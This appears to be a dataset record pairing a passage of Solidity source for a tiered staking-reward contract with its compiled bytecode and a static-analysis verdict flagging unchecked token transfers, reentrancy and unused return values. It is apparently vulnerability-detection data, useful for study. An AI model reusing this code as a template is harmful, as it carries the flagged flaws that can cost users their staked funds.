payable(msg.sender).transfer(originalSecondAmount - secondAmount); } else { IERC20(secondToken).transfer(msg.sender, originalSecondAmount - secondAmount); } } } function calculateRewardAndAddStakingPosition(uint256 tier, uint256 poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, IMVDProxy proxy) private { uint256 partialRewardSingleBlockTime = TIME_WINDOWS[tier] / REWARD_SPLIT_TRANCHES[tier]; uint256[] memory partialRewardBlockTimes = new uint256[](REWARD_SPLIT_TRANCHES[tier]); if(partialRewardBlockTimes.length > 0) { partialRewardBlockTimes[0] = block.number + partialRewardSingleBlockTime; for(uint256 i = 1; i < partialRewardBlockTimes.length; i++) { partialRewardBlockTimes[i] = partialRewardBlockTimes[i - 1] + partialRewardSingleBlockTime; } } uint256 reward = firstAmount * REWARD_MULTIPLIERS[tier] / REWARD_DIVIDERS[tier]; StakeInfo memory stakeInfo = StakeInfo(msg.sender, poolPosition, firstAmount, secondAmount, poolAmount, reward, block.number + TIME_WINDOWS[tier], partialRewardBlockTimes, reward / REWARD_SPLIT_TRANCHES[tier]); _add(tier, stakeInfo); proxy.submit("stakingTransfer", abi.encode(address(0), 0, reward, address(this))); emit Staked(msg.sender, tier, poolPosition, firstAmount, secondAmount, poolAmount, reward, stakeInfo.endBlock, partialRewardBlockTimes, stakeInfo.splittedReward); } function _add(uint256 tier, StakeInfo memory element) private returns(uint256, uint256) { _stakeInfo[tier][_stakeInfoLength[tier]] = element; _stakeInfoLength[tier] = _stakeInfoLength[tier] + 1; return (element.reward, element.endBlock); } function _remove(uint256 tier, uint256 i) private { if(_stakeInfoLength[tier] <= i) { return; } _stakeInfoLength[tier] = _stakeInfoLength[tier] - 1; if(_stakeInfoLength[tier] > i) { _stakeInfo[tier][i] = _stakeInfo[tier][_stakeInfoLength[tier]]; } delete _stakeInfo[tier][_stakeInfoLength[tier]]; } function length(uint256 tier) public view returns(uint256) { return _stakeInfoLength[tier]; } function stakeInfo(uint256 tier, uint256 position) public view returns( address, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory, uint256 ) { StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; return( tierStakeInfo.sender, tierStakeInfo.poolPosition, tierStakeInfo.firstAmount, tierStakeInfo.secondAmount, tierStakeInfo.poolAmount, tierStakeInfo.reward, tierStakeInfo.endBlock, tierStakeInfo.partialRewardBlockTimes, tierStakeInfo.splittedReward ); } function partialReward(uint256 tier, uint256 position) public { StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; if(block.number >= tierStakeInfo.endBlock) { return withdraw(tier, position); } require(tierStakeInfo.reward > 0, "No more reward for this staking position"); uint256 reward = 0; for(uint256 i = 0; i < tierStakeInfo.partialRewardBlockTimes.length; i++) { if(tierStakeInfo.partialRewardBlockTimes[i] > 0 && block.number >= tierStakeInfo.partialRewardBlockTimes[i]) { reward += tierStakeInfo.splittedReward; tierStakeInfo.partialRewardBlockTimes[i] = 0; } } reward = reward > tierStakeInfo.reward ? tierStakeInfo.reward : reward; require(reward > 0, "No reward to redeem"); IERC20 token = IERC20(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getToken()); token.transfer(tierStakeInfo.sender, reward); tierStakeInfo.reward = tierStakeInfo.reward - reward; _stakeInfo[tier][position] = tierStakeInfo; emit PartialWithdrawn(msg.sender, tierStakeInfo.sender, tier, reward); } function withdraw(uint256 tier, uint256 position) public { StakeInfo memory tierStakeInfo = _stakeInfo[tier][position]; require(block.number >= tierStakeInfo.endBlock, "Cannot actually withdraw this position"); IERC20 token = IERC20(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getToken()); if(tierStakeInfo.reward > 0) { token.transfer(tierStakeInfo.sender, tierStakeInfo.reward); } token = IERC20(IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(address(token), TOKENS[tierStakeInfo.poolPosition])); token.transfer(tierStakeInfo.sender, tierStakeInfo.poolAmount); _totalPoolAmount[tierStakeInfo.poolPosition] = _totalPoolAmount[tierStakeInfo.poolPosition] - tierStakeInfo.poolAmount; emit Withdrawn(msg.sender, tierStakeInfo.sender, tier, tierStakeInfo.poolPosition, tierStakeInfo.firstAmount, tierStakeInfo.secondAmount, tierStakeInfo.poolAmount, tierStakeInfo.reward); _remove(tier, position); } function _toString(uint _i) private pure returns(string memory) { if (_i == 0) { return "0"; } uint j = _i; uint len; while (j != 0) { len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (_i != 0) { bstr[k--] = byte(uint8(48 + _i % 10)); _i /= 10; } return string(bstr); } function _toString(address _addr) private pure returns(string memory) { bytes32 value = bytes32(uint256(_addr)); bytes memory alphabet = "0123456789abcdef"; bytes memory str = new bytes(42); str[0] = '0'; str[1] = 'x'; for (uint i = 0; i < 20; i++) { str[2+i*2] = alphabet[uint(uint8(value[i + 12] >> 4))]; str[3+i*2] = alphabet[uint(uint8(value[i + 12] & 0x0f))]; } return string(str); } function _toLowerCase(string memory str) private pure returns(string memory) { bytes memory bStr = bytes(str); for (uint i = 0; i < bStr.length; i++) { bStr[i] = bStr[i] >= 0x41 && bStr[i] <= 0x5A ? bytes1(uint8(bStr[i]) + 0x20) : bStr[i]; } return string(bStr); } } interface IMVDProxy { function getToken() external view returns(address); function getStateHolderAddress() external view returns(address); function getMVDWalletAddress() external view returns(address); function getMVDFunctionalitiesManagerAddress() external view returns(address); function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData); } interface IStateHolder { function setUint256(string calldata name, uint256 value) external returns(uint256); function getUint256(string calldata name) external view returns(uint256); function getBool(string calldata varName) external view returns (bool); function clear(string calldata varName) external returns(string memory oldDataType, bytes memory oldVal); } interface IMVDFunctionalitiesManager { function isAuthorizedFunctionality(address functionality) external view returns(bool); } interface IERC20 { function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface IUniswapV2Router { function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IDoubleProxy { function proxy() external view returns(address); }
0x6080604052600436106100dd5760003560e01c8063a06dd6dc1161007f578063dd58d9d511610059578063dd58d9d51461046a578063e9c4aa6a146104ad578063f39d3c49146104f5578063fdd5660514610525576100dd565b8063a06dd6dc146103f8578063aa8b99d21461040d578063cbd99d0314610437576100dd565b80634eb9b592116100bb5780634eb9b59214610165578063590c2a8b146101965780635de3326c1461025b5780639d63848a14610393576100dd565b8063167e4781146100e2578063441a3e701461011e57806348cd4cb114610150575b600080fd5b3480156100ee57600080fd5b5061010c6004803603602081101561010557600080fd5b5035610560565b60408051918252519081900360200190f35b34801561012a57600080fd5b5061014e6004803603604081101561014157600080fd5b5080359060200135610575565b005b34801561015c57600080fd5b5061010c6109f1565b34801561017157600080fd5b5061017a6109f7565b604080516001600160a01b039092168252519081900360200190f35b3480156101a257600080fd5b506101c6600480360360408110156101b957600080fd5b5080359060200135610a06565b604051808a6001600160a01b0316815260200189815260200188815260200187815260200186815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561023f578181015183820152602001610227565b505050509050019a505050505050505050505060405180910390f35b34801561026757600080fd5b50610270610b39565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156102bc5781810151838201526020016102a4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b838110156102fb5781810151838201526020016102e3565b50505050905001858103835287818151815260200191508051906020019060200280838360005b8381101561033a578181015183820152602001610322565b50505050905001858103825286818151815260200191508051906020019060200280838360005b83811015610379578181015183820152602001610361565b505050509050019850505050505050505060405180910390f35b34801561039f57600080fd5b506103a8610c9d565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103e45781810151838201526020016103cc565b505050509050019250505060405180910390f35b34801561040457600080fd5b5061014e610cff565b34801561041957600080fd5b5061010c6004803603602081101561043057600080fd5b5035611263565b34801561044357600080fd5b5061014e6004803603602081101561045a57600080fd5b50356001600160a01b0316611275565b34801561047657600080fd5b506104946004803603602081101561048d57600080fd5b503561143b565b6040805192835260208301919091528051918290030190f35b3480156104b957600080fd5b506104d7600480360360208110156104d057600080fd5b50356118d5565b60408051938452602084019290925282820152519081900360600190f35b34801561050157600080fd5b5061014e6004803603604081101561051857600080fd5b508035906020013561195b565b61014e600480360360c081101561053b57600080fd5b5080359060208101359060408101359060608101359060808101359060a00135611dcb565b6000818152600260205260409020545b919050565b61057d613022565b600083815260096020908152604080832085845282529182902082516101208101845281546001600160a01b031681526001820154818401526002820154818501526003820154606082015260048201546080820152600582015460a0820152600682015460c08201526007820180548551818602810186019096528086529194929360e0860193929083018282801561063657602002820191906000526020600020905b815481526020019060010190808311610622575b5050505050815260200160088201548152505090508060c0015143101561068e5760405162461bcd60e51b815260040180806020018281038252602681526020018061319c6026913960400191505060405180910390fd5b6007546040805163ec55688960e01b815290516000926001600160a01b03169163ec556889916004808301926020929190829003018186803b1580156106d357600080fd5b505afa1580156106e7573d6000803e3d6000fd5b505050506040513d60208110156106fd57600080fd5b5051604080516321df0da760e01b815290516001600160a01b03909216916321df0da791600480820192602092909190829003018186803b15801561074157600080fd5b505afa158015610755573d6000803e3d6000fd5b505050506040513d602081101561076b57600080fd5b505160a08301519091501561080657806001600160a01b031663a9059cbb83600001518460a001516040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156107d957600080fd5b505af11580156107ed573d6000803e3d6000fd5b505050506040513d602081101561080357600080fd5b50505b735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663e6a4390582600185602001518154811061083b57fe5b60009182526020918290200154604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015293909116602484015251604480840193829003018186803b15801561089157600080fd5b505afa1580156108a5573d6000803e3d6000fd5b505050506040513d60208110156108bb57600080fd5b5051825160808401516040805163a9059cbb60e01b81526001600160a01b0393841660048201526024810192909252519293509083169163a9059cbb916044808201926020929091908290030181600087803b15801561091a57600080fd5b505af115801561092e573d6000803e3d6000fd5b505050506040513d602081101561094457600080fd5b50506080808301805160208581018051600090815260028352604080822054835183529181902094909103909355518651838801516060808a0151965160a0808c01518851338152978801949094528688019890985290850152958301959095529151919388936001600160a01b03909116927fec4d7fc8319e44dfa849ab87f565622b9cf848ce9959568c3066615ce9e2ef149281900390910190a46109eb8484612183565b50505050565b60085490565b6007546001600160a01b031690565b600080600080600080600060606000610a1d613022565b60008c81526009602090815260408083208e845282529182902082516101208101845281546001600160a01b031681526001820154818401526002820154818501526003820154606082015260048201546080820152600582015460a0820152600682015460c08201526007820180548551818602810186019096528086529194929360e08601939290830182828015610ad657602002820191906000526020600020905b815481526020019060010190808311610ac2575b505050505081526020016008820154815250509050806000015181602001518260400151836060015184608001518560a001518660c001518760e00151886101000151995099509950995099509950995099509950509295985092959850929598565b606080606080600360046005600683805480602002602001604051908101604052809291908181526020018280548015610b9257602002820191906000526020600020905b815481526020019060010190808311610b7e575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610be457602002820191906000526020600020905b815481526020019060010190808311610bd0575b5050505050925081805480602002602001604051908101604052809291908181526020018280548015610c3657602002820191906000526020600020905b815481526020019060010190808311610c22575b5050505050915080805480602002602001604051908101604052809291908181526020018280548015610c8857602002820191906000526020600020905b815481526020019060010190808311610c74575b50505050509050935093509350935090919293565b60606001805480602002602001604051908101604052809291908181526020018280548015610cf557602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610cd7575b5050505050905090565b6007546040805163ec55688960e01b815290516000926001600160a01b03169163ec556889916004808301926020929190829003018186803b158015610d4457600080fd5b505afa158015610d58573d6000803e3d6000fd5b505050506040513d6020811015610d6e57600080fd5b505160408051633380ac3560e11b815290519192506001600160a01b03831691636701586a91600480820192602092909190829003018186803b158015610db457600080fd5b505afa158015610dc8573d6000803e3d6000fd5b505050506040513d6020811015610dde57600080fd5b5051604080516318c8e99960e11b815233600482015290516001600160a01b0390921691633191d33291602480820192602092909190829003018186803b158015610e2857600080fd5b505afa158015610e3c573d6000803e3d6000fd5b505050506040513d6020811015610e5257600080fd5b5051610e9c576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420416374696f6e2160601b604482015290519081900360640190fd5b6000816001600160a01b03166331c6903d6040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed757600080fd5b505afa158015610eeb573d6000803e3d6000fd5b505050506040513d6020811015610f0157600080fd5b5051604080516321df0da760e01b815290519192506000916001600160a01b038516916321df0da7916004808301926020929190829003018186803b158015610f4957600080fd5b505afa158015610f5d573d6000803e3d6000fd5b505050506040513d6020811015610f7357600080fd5b5051604080516370a0823160e01b8152306004820152905191925082916000916001600160a01b038416916370a0823191602480820192602092909190829003018186803b158015610fc457600080fd5b505afa158015610fd8573d6000803e3d6000fd5b505050506040513d6020811015610fee57600080fd5b50519050801561107c57816001600160a01b031663a9059cbb85836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561104f57600080fd5b505af1158015611063573d6000803e3d6000fd5b505050506040513d602081101561107957600080fd5b50505b506000805b60015481101561125b57735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f6001600160a01b031663e6a4390585600184815481106110bc57fe5b60009182526020918290200154604080516001600160e01b031960e087901b1681526001600160a01b03948516600482015293909116602484015251604480840193829003018186803b15801561111257600080fd5b505afa158015611126573d6000803e3d6000fd5b505050506040513d602081101561113c57600080fd5b5051604080516370a0823160e01b815230600482015290519194506001600160a01b038516916370a0823191602480820192602092909190829003018186803b15801561118857600080fd5b505afa15801561119c573d6000803e3d6000fd5b505050506040513d60208110156111b257600080fd5b50519150811561124f57826001600160a01b031663a9059cbb86846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561121357600080fd5b505af1158015611227573d6000803e3d6000fd5b505050506040513d602081101561123d57600080fd5b50506000818152600260205260408120555b60009150600101611081565b505050505050565b6000908152600a602052604090205490565b600760009054906101000a90046001600160a01b03166001600160a01b031663ec5568896040518163ffffffff1660e01b815260040160206040518083038186803b1580156112c357600080fd5b505afa1580156112d7573d6000803e3d6000fd5b505050506040513d60208110156112ed57600080fd5b505160408051633380ac3560e11b815290516001600160a01b0390921691636701586a91600480820192602092909190829003018186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b5051604080516318c8e99960e11b815233600482015290516001600160a01b0390921691633191d33291602480820192602092909190829003018186803b1580156113a557600080fd5b505afa1580156113b9573d6000803e3d6000fd5b505050506040513d60208110156113cf57600080fd5b5051611419576040805162461bcd60e51b8152602060048201526014602482015273556e617574686f72697a656420416374696f6e2160601b604482015290519081900360640190fd5b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000806000600760009054906101000a90046001600160a01b03166001600160a01b031663ec5568896040518163ffffffff1660e01b815260040160206040518083038186803b15801561148e57600080fd5b505afa1580156114a2573d6000803e3d6000fd5b505050506040513d60208110156114b857600080fd5b50516040805163ba83c16f60e01b815290516001600160a01b039092169163ba83c16f91600480820192602092909190829003018186803b1580156114fc57600080fd5b505afa158015611510573d6000803e3d6000fd5b505050506040513d602081101561152657600080fd5b505190506060611535856122cd565b9050606061154a611545306123a5565b612518565b9050826001600160a01b0316630bb687e3828460405160200180806739ba30b5b4b7339760c11b81525060080183805190602001908083835b602083106115a25780518252601f199092019160209182019101611583565b51815160209384036101000a6000190180199092169116179052662e74696572735b60c81b919093019081528451600790910192850191508083835b602083106115fd5780518252601f1990920191602091820191016115de565b6001836020036101000a038019825116818451168082178552505050505050905001806705d2e6d696e4361760c41b815250600801925050506040516020818303038152906040526040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611691578181015183820152602001611679565b50505050905090810190601f1680156116be5780820380516001836020036101000a031916815260200191505b509250505060206040518083038186803b1580156116db57600080fd5b505afa1580156116ef573d6000803e3d6000fd5b505050506040513d602081101561170557600080fd5b50516040516739ba30b5b4b7339760c11b602082810191825284516001600160a01b03881693630bb687e39387938993919260280191908501908083835b602083106117625780518252601f199092019160209182019101611743565b51815160209384036101000a6000190180199092169116179052662e74696572735b60c81b919093019081528451600790910192850191508083835b602083106117bd5780518252601f19909201916020918201910161179e565b6001836020036101000a038019825116818451168082178552505050505050905001806805d2e686172644361760bc1b815250600901925050506040516020818303038152906040526040518263ffffffff1660e01b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561185257818101518382015260200161183a565b50505050905090810190601f16801561187f5780820380516001836020036101000a031916815260200191505b509250505060206040518083038186803b15801561189c57600080fd5b505afa1580156118b0573d6000803e3d6000fd5b505050506040513d60208110156118c657600080fd5b50519095509350505050915091565b60008060006118e38461143b565b6000868152600a60205260408120549295509093508392505b8181101561195257600086815260096020908152604080832084845290915290206006015443101561194a576000868152600960209081526040808320848452909152902060020154909203915b6001016118fc565b50509193909250565b611963613022565b600083815260096020908152604080832085845282529182902082516101208101845281546001600160a01b031681526001820154818401526002820154818501526003820154606082015260048201546080820152600582015460a0820152600682015460c08201526007820180548551818602810186019096528086529194929360e08601939290830182828015611a1c57602002820191906000526020600020905b815481526020019060010190808311611a08575b5050505050815260200160088201548152505090508060c001514310611a4c57611a468383610575565b50611dc7565b60008160a0015111611a8f5760405162461bcd60e51b81526004018080602001828103825260288152602001806131746028913960400191505060405180910390fd5b6000805b8260e0015151811015611b145760008360e001518281518110611ab257fe5b6020026020010151118015611ade57508260e001518181518110611ad257fe5b60200260200101514310155b15611b0c578261010001518201915060008360e001518281518110611aff57fe5b6020026020010181815250505b600101611a93565b508160a001518111611b265780611b2c565b8160a001515b905060008111611b79576040805162461bcd60e51b81526020600482015260136024820152724e6f2072657761726420746f2072656465656d60681b604482015290519081900360640190fd5b6007546040805163ec55688960e01b815290516000926001600160a01b03169163ec556889916004808301926020929190829003018186803b158015611bbe57600080fd5b505afa158015611bd2573d6000803e3d6000fd5b505050506040513d6020811015611be857600080fd5b5051604080516321df0da760e01b815290516001600160a01b03909216916321df0da791600480820192602092909190829003018186803b158015611c2c57600080fd5b505afa158015611c40573d6000803e3d6000fd5b505050506040513d6020811015611c5657600080fd5b505183516040805163a9059cbb60e01b81526001600160a01b0392831660048201526024810186905290519293509083169163a9059cbb916044808201926020929091908290030181600087803b158015611cb057600080fd5b505af1158015611cc4573d6000803e3d6000fd5b505050506040513d6020811015611cda57600080fd5b505060a08301805183900381526000868152600960209081526040808320888452825291829020865181546001600160a01b0319166001600160a01b0390911617815581870151600182015591860151600283015560608601516003830155608086015160048301559151600582015560c0850151600682015560e085015180518693611d6e926007850192910190613077565b50610100919091015160089091015582516040805133815260208101859052815188936001600160a01b0316927f5777300364834e2d145b85cee28a0d45c4be04f1c7c24116ec72a6b5c839631b928290030190a35050505b5050565b600854431015611e22576040805162461bcd60e51b815260206004820152601e60248201527f5374616b696e67206973207374696c6c206e6f7420617661696c61626c650000604482015290519081900360640190fd5b6001548510611e67576040805162461bcd60e51b815260206004820152600c60248201526b155b9adb9bdddb88141bdbdb60a21b604482015290519081900360640190fd5b6003548610611eac576040805162461bcd60e51b815260206004820152600c60248201526b2ab735b737bbb7103a34b2b960a11b604482015290519081900360640190fd5b60008411611eeb5760405162461bcd60e51b81526004018080602001828103825260238152602001806131c26023913960400191505060405180910390fd5b60008054600180546001600160a01b039092169188908110611f0957fe5b6000918252602090912001546001600160a01b031614611f295782611f2b565b345b905060008111611f6c5760405162461bcd60e51b81526004018080602001828103825260248152602001806132156024913960400191505060405180910390fd5b6007546040805163ec55688960e01b815290516000926001600160a01b03169163ec556889916004808301926020929190829003018186803b158015611fb157600080fd5b505afa158015611fc5573d6000803e3d6000fd5b505050506040513d6020811015611fdb57600080fd5b5051604080516321df0da760e01b815290519192506000916001600160a01b038416916321df0da7916004808301926020929190829003018186803b15801561202357600080fd5b505afa158015612037573d6000803e3d6000fd5b505050506040513d602081101561204d57600080fd5b5051905061205b81886125ea565b6120866001898154811061206b57fe5b6000918252602090912001546001600160a01b0316846125ea565b60006001898154811061209557fe5b60009182526020822001546001600160a01b0316915080806120bb8b8b898b89896127b3565b60008f81526002602052604081208054830190559295509093509150806120e18f6118d5565b9250509150818510156121255760405162461bcd60e51b81526004018080602001828103825260308152602001806131e56030913960400191505060405180910390fd5b808511156121645760405162461bcd60e51b815260040180806020018281038252603b815260200180613139603b913960400191505060405180910390fd5b6121728f8f8787878d612ac8565b505050505050505050505050505050565b6000828152600a6020526040902054811061219d57611dc7565b6000828152600a6020526040902080546000190190819055811015612259576000828152600960209081526040808320600a83528184205484529091528082208383529120815481546001600160a01b0319166001600160a01b039091161781556001808301549082015560028083015490820155600380830154908201556004808301549082015560058083015490820155600680830154908201556007808301805461224e92840191906130c2565b506008918201549101555b6000828152600960209081526040808320600a8352818420548452909152812080546001600160a01b0319168155600181018290556002810182905560038101829055600481018290556005810182905560068101829055906122bf6007830182613102565b600882016000905550505050565b6060816122f257506040805180820190915260018152600360fc1b6020820152610570565b8160005b811561230a57600101600a820491506122f6565b60608167ffffffffffffffff8111801561232357600080fd5b506040519080825280601f01601f19166020018201604052801561234e576020820181803683370190505b50905060001982015b851561239c57600a860660300160f81b8282806001900393508151811061237a57fe5b60200101906001600160f81b031916908160001a905350600a86049550612357565b50949350505050565b604080518082018252601081526f181899199a1a9b1b9c1cb0b131b232b360811b60208201528151602a80825260608281019094526001600160a01b03851692918491602082018180368337019050509050600360fc1b8160008151811061240957fe5b60200101906001600160f81b031916908160001a905350600f60fb1b8160018151811061243257fe5b60200101906001600160f81b031916908160001a90535060005b601481101561239c578260048583600c016020811061246757fe5b1a60f81b6001600160f81b031916901c60f81c60ff168151811061248757fe5b602001015160f81c60f81b8282600202600201815181106124a457fe5b60200101906001600160f81b031916908160001a905350828482600c01602081106124cb57fe5b825191901a600f169081106124dc57fe5b602001015160f81c60f81b8282600202600301815181106124f957fe5b60200101906001600160f81b031916908160001a90535060010161244c565b60608160005b81518110156125e357604160f81b82828151811061253857fe5b01602001516001600160f81b031916108015906125735750605a60f81b82828151811061256157fe5b01602001516001600160f81b03191611155b6125975781818151811061258357fe5b01602001516001600160f81b0319166125b8565b8181815181106125a357fe5b602001015160f81c60f81b60f81c60200160f81b5b8282815181106125c457fe5b60200101906001600160f81b031916908160001a90535060010161251e565b5092915050565b6000546001600160a01b038381169116141561260557611dc7565b604080516323b872dd60e01b815233600482015230602482015260448101839052905183916001600160a01b038316916323b872dd916064808201926020929091908290030181600087803b15801561265d57600080fd5b505af1158015612671573d6000803e3d6000fd5b505050506040513d602081101561268757600080fd5b505060408051636eb1769f60e11b8152306004820152737a250d5630b4cf539739df2c5dacb4c659f2488d6024820152905183916001600160a01b0384169163dd62ed3e91604480820192602092909190829003018186803b1580156126ec57600080fd5b505afa158015612700573d6000803e3d6000fd5b505050506040513d602081101561271657600080fd5b5051116127ae576040805163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d6004820152600019602482015290516001600160a01b0383169163095ea7b39160448083019260209291908290030181600087803b15801561278157600080fd5b505af1158015612795573d6000803e3d6000fd5b505050506040513d60208110156127ab57600080fd5b50505b505050565b60008054819081906001600160a01b0385811691161415612897576040805163f305d71960e01b81526001600160a01b0387166004820152602481018b9052604481018a9052606481018890523060848201526103e8420160a48201529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719918a9160c48082019260609290919082900301818588803b15801561285157600080fd5b505af1158015612865573d6000803e3d6000fd5b50505050506040513d606081101561287c57600080fd5b50805160208201516040909201519094509092509050612968565b6040805162e8e33760e81b81526001600160a01b03878116600483015286166024820152604481018b905260648101899052608481018a905260a481018890523060c48201526103e8420160e48201529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163e8e33700916101048083019260609291908290030181600087803b15801561292757600080fd5b505af115801561293b573d6000803e3d6000fd5b505050506040513d606081101561295157600080fd5b508051602082015160409092015190945090925090505b888310156129ed576040805163a9059cbb60e01b8152336004820152848b03602482015290516001600160a01b0387169163a9059cbb9160448083019260209291908290030181600087803b1580156129c057600080fd5b505af11580156129d4573d6000803e3d6000fd5b505050506040513d60208110156129ea57600080fd5b50505b86821015612abc576000546001600160a01b0385811691161415612a3f57604051339083890380156108fc02916000818181858888f19350505050158015612a39573d6000803e3d6000fd5b50612abc565b6040805163a9059cbb60e01b8152336004820152838903602482015290516001600160a01b0386169163a9059cbb9160448083019260209291908290030181600087803b158015612a8f57600080fd5b505af1158015612aa3573d6000803e3d6000fd5b505050506040513d6020811015612ab957600080fd5b50505b96509650969350505050565b600060068781548110612ad757fe5b906000526020600020015460038881548110612aef57fe5b906000526020600020015481612b0157fe5b049050606060068881548110612b1357fe5b906000526020600020015467ffffffffffffffff81118015612b3457600080fd5b50604051908082528060200260200182016040528015612b5e578160200160208202803683370190505b50805190915015612bca5781430181600081518110612b7957fe5b602090810291909101015260015b8151811015612bc85782826001830381518110612ba057fe5b602002602001015101828281518110612bb557fe5b6020908102919091010152600101612b87565b505b600060058981548110612bd957fe5b906000526020600020015460048a81548110612bf157fe5b9060005260206000200154880281612c0557fe5b049050612c10613022565b604051806101200160405280336001600160a01b031681526020018a815260200189815260200188815260200187815260200183815260200160038c81548110612c5657fe5b90600052602060002001544301815260200184815260200160068c81548110612c7b57fe5b90600052602060002001548481612c8e57fe5b0490529050612c9d8a82612f57565b50506040805160006020808301829052828401829052606083018690523060808085019190915284518085038201815260a08501808752639e813f1f60e01b905260a48501958652600f60e48601526e39ba30b5b4b733aa3930b739b332b960891b61010486015260c48501918252805161012486015280516001600160a01b038c1696639e813f1f96929590948594936101440192908701918190849084905b83811015612d56578181015183820152602001612d3e565b50505050905090810190601f168015612d835780820380516001836020036101000a031916815260200191505b509350505050600060405180830381600087803b158015612da357600080fd5b505af1158015612db7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015612de057600080fd5b8101908080516040519392919084640100000000821115612e0057600080fd5b908301906020820185811115612e1557600080fd5b8251640100000000811182820188101715612e2f57600080fd5b82525081516020918201929091019080838360005b83811015612e5c578181015183820152602001612e44565b50505050905090810190601f168015612e895780820380516001836020036101000a031916815260200191505b5060405250505050888a336001600160a01b03167f904bffde498b5f8b9c482208599445964bca8e5fe0837abba34df545d09aed428b8b8b888860c001518b8a61010001516040518088815260200187815260200186815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b83811015612f32578181015183820152602001612f1a565b505050509050019850505050505050505060405180910390a450505050505050505050565b6000828152600960209081526040808320600a83528184205484528252808320845181546001600160a01b0319166001600160a01b03909116178155848301516001820155908401516002820155606084015160038201556080840151600482015560a0840151600582015560c0840151600682015560e084015180518493869392612fec9260078501929190910190613077565b50610100919091015160089091015550506000918252600a60205260409091208054600101905560a081015160c0909101519091565b60405180610120016040528060006001600160a01b0316815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160608152602001600081525090565b8280548282559060005260206000209081019282156130b2579160200282015b828111156130b2578251825591602001919060010190613097565b506130be929150613123565b5090565b8280548282559060005260206000209081019282156130b25760005260206000209182015b828111156130b25782548255916001019190600101906130e7565b50805460008255906000526020600020908101906131209190613123565b50565b5b808211156130be576000815560010161312456fe416d6f756e7420746f207374616b65206d757374206265206c657373207468616e207468652063757272656e742072656d61696e696e67206f6e654e6f206d6f72652072657761726420666f722074686973207374616b696e6720706f736974696f6e43616e6e6f742061637475616c6c79207769746864726177207468697320706f736974696f6e466972737420616d6f756e74206d7573742062652067726561746572207468616e2030416d6f756e7420746f207374616b65206973206c657373207468616e207468652063757272656e74206d696e206361705365636f6e6420616d6f756e74206d7573742062652067726561746572207468616e2030a264697066735822122005cb8c16848065602012eb1d67f99bf9b88dff18e2ae0a0a8c951f15ca520ef064736f6c63430007010033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,490
0xbc1f04c7cbddc4eca2ff6c8d58850e72190ef4db
